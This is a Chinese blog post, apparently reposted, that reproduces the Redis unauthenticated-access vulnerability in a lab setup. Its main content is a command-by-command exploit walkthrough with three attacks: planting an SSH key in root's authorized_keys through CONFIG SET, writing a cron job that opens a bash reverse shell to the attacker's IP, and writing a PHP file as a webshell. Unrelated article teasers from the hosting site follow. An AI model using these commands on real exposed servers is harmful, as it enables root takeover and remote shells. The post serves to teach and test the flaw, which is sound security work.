redis 公网 安全_redis漏洞复现

fa8a89aee121deaaded6773e8cf43f4a.png

一、漏洞简介

什么是redis

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

redis 是一个高性能的key-value数据库。redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

redis未授权访问漏洞

redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

本次复现主要是:

1.Redis以root身份运行,给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

2.将文件写入周期性计划任务,然后接受反弹shell

3.如果搭建了web服务器,写入webshell,控制服务器(此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改)

准备环境:

攻击机(kali):192.168.163.131(需要自己搭建redis-cli,和服务器端搭建步骤一样)

靶机(centos):192.168.163.132

二、环境搭建

(1)下载redis压缩包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

2fe79a20eb651d677e261b4f50a4e021.png

(2)将压缩包放入指定路径,并且进入指定路径

cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gz
cd redis

92911d1370c6dc422d2ac0c0698a1367.png

(3)解压压缩包,进入指定路径redis-2.8.17,进行安装

tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make

f0792906aff5b1cc7fcabed5ca5451ab.png

(4)进入到src路径下

bd81b7141461cda1fc4502ae02fe790a.png

(5)将redis-server和redis-cli拷贝到/usr/bin目录下,后续方便直接启动redis服务器并且将redis-2.8.17目录下面的redis.conf拷贝到/etc下面

cp redis-server /usr/bin
cp redis-cli /usr/bin
cp redis.conf /etc/redis.conf

7f4b0228386df97f473ad653620fa211.png

(6)启动服务

redis-server /etc/redis.conf

034613aceda46ca6dbf213baaa08bad5.png

三、漏洞复现

3.1 利用“公私钥”认证获得root权限

(1)未授权访问连接(无法连接)

redis-cli -h 192.168.163.132

47ddd06418f5c077d87b251113a53e39.png

(2)因为是本地搭建,没有开启6379端口对外开放,此处为了方便,直接关闭服务器(靶机)的防火墙

/etc/init.d/iptables stop

487db6936a73fb799c49f87b835b4b29.png

(3)kali攻击机未授权访问连接

redis-cli -h 192.168.163.132
keys *

3b4fe35b565906b15cfd5cf2647a1b46.png

(4)在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

771b1f520912587bd3143ffb673c664b.png

(5)进入.ssh目录,将生成的公钥保存到1.txt:

cd /root/.ssh
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt

25e964760e9ad4a660aa0dfebaba27e1.png

(6)将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

cat 1.txt | redis-cli -h 192.168.163.132 -x set crack

2ad755eebdf6a5b90eb37417e962dc0d.png

(7)并使用 CONFIG GET dir 命令得到redis备份的路径:

CONFIG GET dir

43e163f25519bf66ecc39fc802002172.png

(8)更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys

config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys

7d3d260e99bdd37c40bedf38fa2903b0.png

(9)检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:

CONFIG GET dbfilename
save

8f85d70978abf7802391de5fbf1d286a.png

(10)查看服务器端已经成功写入

32df0b26a85020a6dc4c902611440776.png

(11)攻击机成功登陆到服务器

ssh -i id_rsa root@192.168.163.132

8124c730eca23ff982e40bde4ab8aa3a.png

3.2利用crontab反弹shell

权限足够的情况下,利用redis写入文件到周期性计划任务执行。

(1)在kali攻击机里面监听指定端口

nc -lvnp 8888

d707b53dc171ae1589ed02bd4879f69a.png

(2)向服务器写入文件

set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save

30bd10eba316b3d36d788184e9ed20a9.png

3)查看服务器端的写入情况

cce84ecf8bc36f2ea0207706227490f0.png

(4)Kali攻击机已经可以连接了(得到了反弹shell)

f6dbd5ac63f9366d5f65130a1d5ce319.png

3.3写入webshell

此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改,将文件写入web路径

(1)写入文件到/tmp目录

config set dir /tmp
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save

4c09a1963e012ba77e2e4d9cb4041876.png

(2)查看服务器

2b07322a71e9651c35e8dc9eb94308fc.png

备注:

写入webshell的时候,可以使用:

set x "rnrn<?php phpinfo();?>rnrn"

rnrn代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

原文链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/519609.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

实时计算的最佳实践:基于表格存储和Blink的大数据实时计算

表格存储: 数据存储和数据消费All in one 表格存储&#xff08;Table Store&#xff09;是阿里云自研的NoSQL多模型数据库&#xff0c;提供PB级结构化数据存储、千万TPS以及毫秒级延迟的服务能力。在实时计算场景里&#xff0c;表格存储强大的写入能力和多模型的存储形态&…

关于JDK8采坑JCE加密限制版本问题

文章目录一、解决方案11. 调研2. 常见的异常3. 安全性机制导致的访问https会报错4. 解决方案5. 操作流程6. 移动jar配置策略二、解决方案22.1. 声明2.2. 编辑策略文件2.3. 修改默认属性一、解决方案1 声明&#xff1a;jdk1.8已经经过线上环境使用 1. 调研 JDK8的加密策略存在…

速围观!云+X 案例评选榜单重磅出炉!

2019年11月&#xff0c;CSDN云计算强势开启“云X”案例征集活动&#xff0c;从先进性、拓展性、效益性等三个基本方向出发&#xff0c;深入展现云技术作用行业的突出优势。时隔2个月&#xff0c;通过广泛征集等方式&#xff0c;经过层层筛选&#xff0c;深入挖掘出跨行业、跨生…

uvm 形式验证_UVM基础

uvm_component与uvm_object1.几乎所有的类都派生于uvm_object&#xff0c;包括uvm_component。uvm_component有两大特性是uvm_object所没有的&#xff1a;一是通过在new的时候指定parent参数来形成一种树形的组织结构&#xff1b;二是有phase的自动执行特点。下图是常用的UVM继…

Table Store: 海量结构化数据实时备份实战

Table Store: 海量结构化数据实时备份实战 数据备份简介 在信息技术与数据管理领域&#xff0c;备份是指将文件系统或数据库系统中的数据加以复制&#xff0c;一旦发生灾难或者错误操作时&#xff0c;得以方便而及时地恢复系统的有效数据和正常运作。在实际备份过程中&#xf…

云+X案例展 | 电商零售类:云徙助力良品铺子「双11」

本案例由云徙投递并参与评选&#xff0c;CSDN云计算独家全网首发&#xff1b;更多关于【云X 案例征集】的相关信息&#xff0c;点击了解详情丨挖掘展现更多优秀案例&#xff0c;为不同行业领域带来启迪&#xff0c;进而推动整个“云行业”的健康发展。助力品牌制胜双十一的背后…

同样做前端,为何差距越来越大?

阿里妹导读&#xff1a;前端应用越来越复杂&#xff0c;技术框架不断变化&#xff0c;如何成为一位优秀的前端工程师&#xff0c;应对更大的挑战&#xff1f;今天&#xff0c;阿里前端技术专家会影结合实际工作经验&#xff0c;沉淀了五项重要方法&#xff0c;希望能对你的职业…

云+X案例展 | 民生类:必创科技助力打造智慧城市

本案例由必创科技投递并参与评选&#xff0c;CSDN云计算独家全网首发&#xff1b;更多关于【云X 案例征集】的相关信息&#xff0c;点击了解详情丨挖掘展现更多优秀案例&#xff0c;为不同行业领域带来启迪&#xff0c;进而推动整个“云行业”的健康发展。每当夜幕降临&#xf…

刚刚,阿里宣布开源Flutter应用框架Fish Redux!

3月5日&#xff0c;闲鱼宣布在GitHub上开源Fish Redux&#xff0c;Fish Redux是一个基于 Redux 数据管理的组装式 flutter 应用框架&#xff0c; 特别适用于构建中大型的复杂应用&#xff0c;它最显著的特征是 函数式的编程模型、可预测的状态管理、可插拔的组件体系、最佳的性…

谈谈结构体部分成员排序(重载的利用/sort)

涉及知识点&#xff1a; 1.重载运算符的知识 2.sort函数的使用 3.高精度排序 sort函数的用法&#xff1f; 通过面向百度GOOGLE编程的我&#xff0c;得知&#xff0c;sort的用法 sort函数详解&#xff08;史上最完整QAQ&#xff09; - AlvinZH - 博客园 对于数组而言&…

qt最大化和还原实现_研究进展 | 水生所关于细菌异化型硝酸盐还原成铵与反硝化脱氮两种途径抉择的分子调控机制研究取得进展...

在无氧和缺氧条件下&#xff0c;许多细菌可利用硝酸根和亚硝酸根作为电子受体进行无氧呼吸&#xff0c;包括异化型硝酸盐还原成铵(dissimilatory nitrate reduction (DNR) to ammonia&#xff0c;DNRA)和反硝化脱氮(denitrification)两种相互竞争的DNR途径&#xff0c;在氮元素…

中国科学院院士徐宗本:人工智能的基石是数学

来源&#xff1a;科学网 “人工智能的基石是数学&#xff0c;没有数学基础科学的支持&#xff0c;人工智能很难行稳致远。” 近日&#xff0c;由联合国教科文组织和中国工程院联合主办的联合国教科文组织国际工程科技知识中心2019国际高端研讨会上&#xff0c;中国科学院院士、…

MySQL运维实战 之 PHP访问MySQL你使用对了吗

大家都知道&#xff0c;slow query系统做的好不好&#xff0c;直接决定了解决slow query的效率问题 一个数据库管理平台&#xff0c;拥有一个好的slow query系统&#xff0c;基本上就拥有了解锁性能问题的钥匙 但是今天主要分享的并不是平台&#xff0c;而是在平台中看到的奇…

通过阿里云K8S Ingress Controller实现路由配置的动态更新

简介 在Kubernetes集群中&#xff0c;Ingress作为集群内服务对外暴露的访问接入点&#xff0c;其几乎承载着集群内服务访问的所有流量。我们知道&#xff0c;Nginx Ingress Controller是Kubernetes社区很重要的一个子项目&#xff0c;其内部主要依托于高性能的负载均衡软件Ngi…

工作流实战_14_flowable_已办任务列表查询

项目地址&#xff1a;https://gitee.com/lwj/flowable.git 分支flowable-base 视频讲解地址 https://space.bilibili.com/485524575/channel/detail?cid94579 1、演示 2、代码 这里也是通过sql来查询的 SELECT DISTINCTt1.ID_ AS taskId,t1.NAME_ AS taskName,t2.FIRST_ AS…

SpringBoot使用prometheus监控

本文介绍SpringBoot如何使用Prometheus配合Grafana监控。 1.关于Prometheus Prometheus是一个根据应用的metrics来进行监控的开源工具。相信很多工程都在使用它来进行监控&#xff0c;有关详细介绍可以查看官网&#xff1a;https://prometheus.io/docs/introduction/overview/…

详解异构计算FPGA基础知识

戳蓝字“CSDN云计算”关注我们哦&#xff01;作者 | 浩仔责编 | 阿秃随着云计算&#xff0c;大数据和人工智能技术应用&#xff0c;单靠CPU已经无法满足各行各业的算力需求。海量数据分析、机器学习和边缘计算等场景需要计算架构多样化&#xff0c;需要不同的处理器架构和GPU&a…

开发函数计算的正确姿势——使用 brotli 压缩大文件

大文件问题 函数计算对上传的 zip 代码包尺寸限制为 50M。某些场景中代码包中会超过这一限制&#xff0c;比如二进制 serverless-chrome 经过一番裁剪以后 ZIP 压缩包的体积为 43.4M&#xff0c;类似的还有 liboffice &#xff0c;此外常见的还有机器学习训练的模型文件。 目…

流程变量的分组_01

项目地址&#xff1a;https://gitee.com/lwj/flowable.git 分支flowable-base 视频地址&#xff1a;https://www.bilibili.com/video/av79774697/ 业务场景&#xff1a; 实际场景中&#xff0c;有可能我们的流程变量会比较多&#xff0c;如果一个变量就作为一条记录存储的话&a…

amd显卡风扇调节_中端游戏显卡新晋黑马,华硕ROG STRIX RX5600XT O6G GAMING拆解评测...

在年初的CES2020上&#xff0c;AMD发布了面向中端市场的Radeon RX 5500 XT&#xff0c;进一步完善了自己的游戏显卡产品线。在本月21日&#xff0c;RX 5600 XT正式解禁发布。各大AIB厂商也在第一时间推出了自己的相关产品。我们也在第一时间收到了来自华硕的ROG STRIX RX5600XT…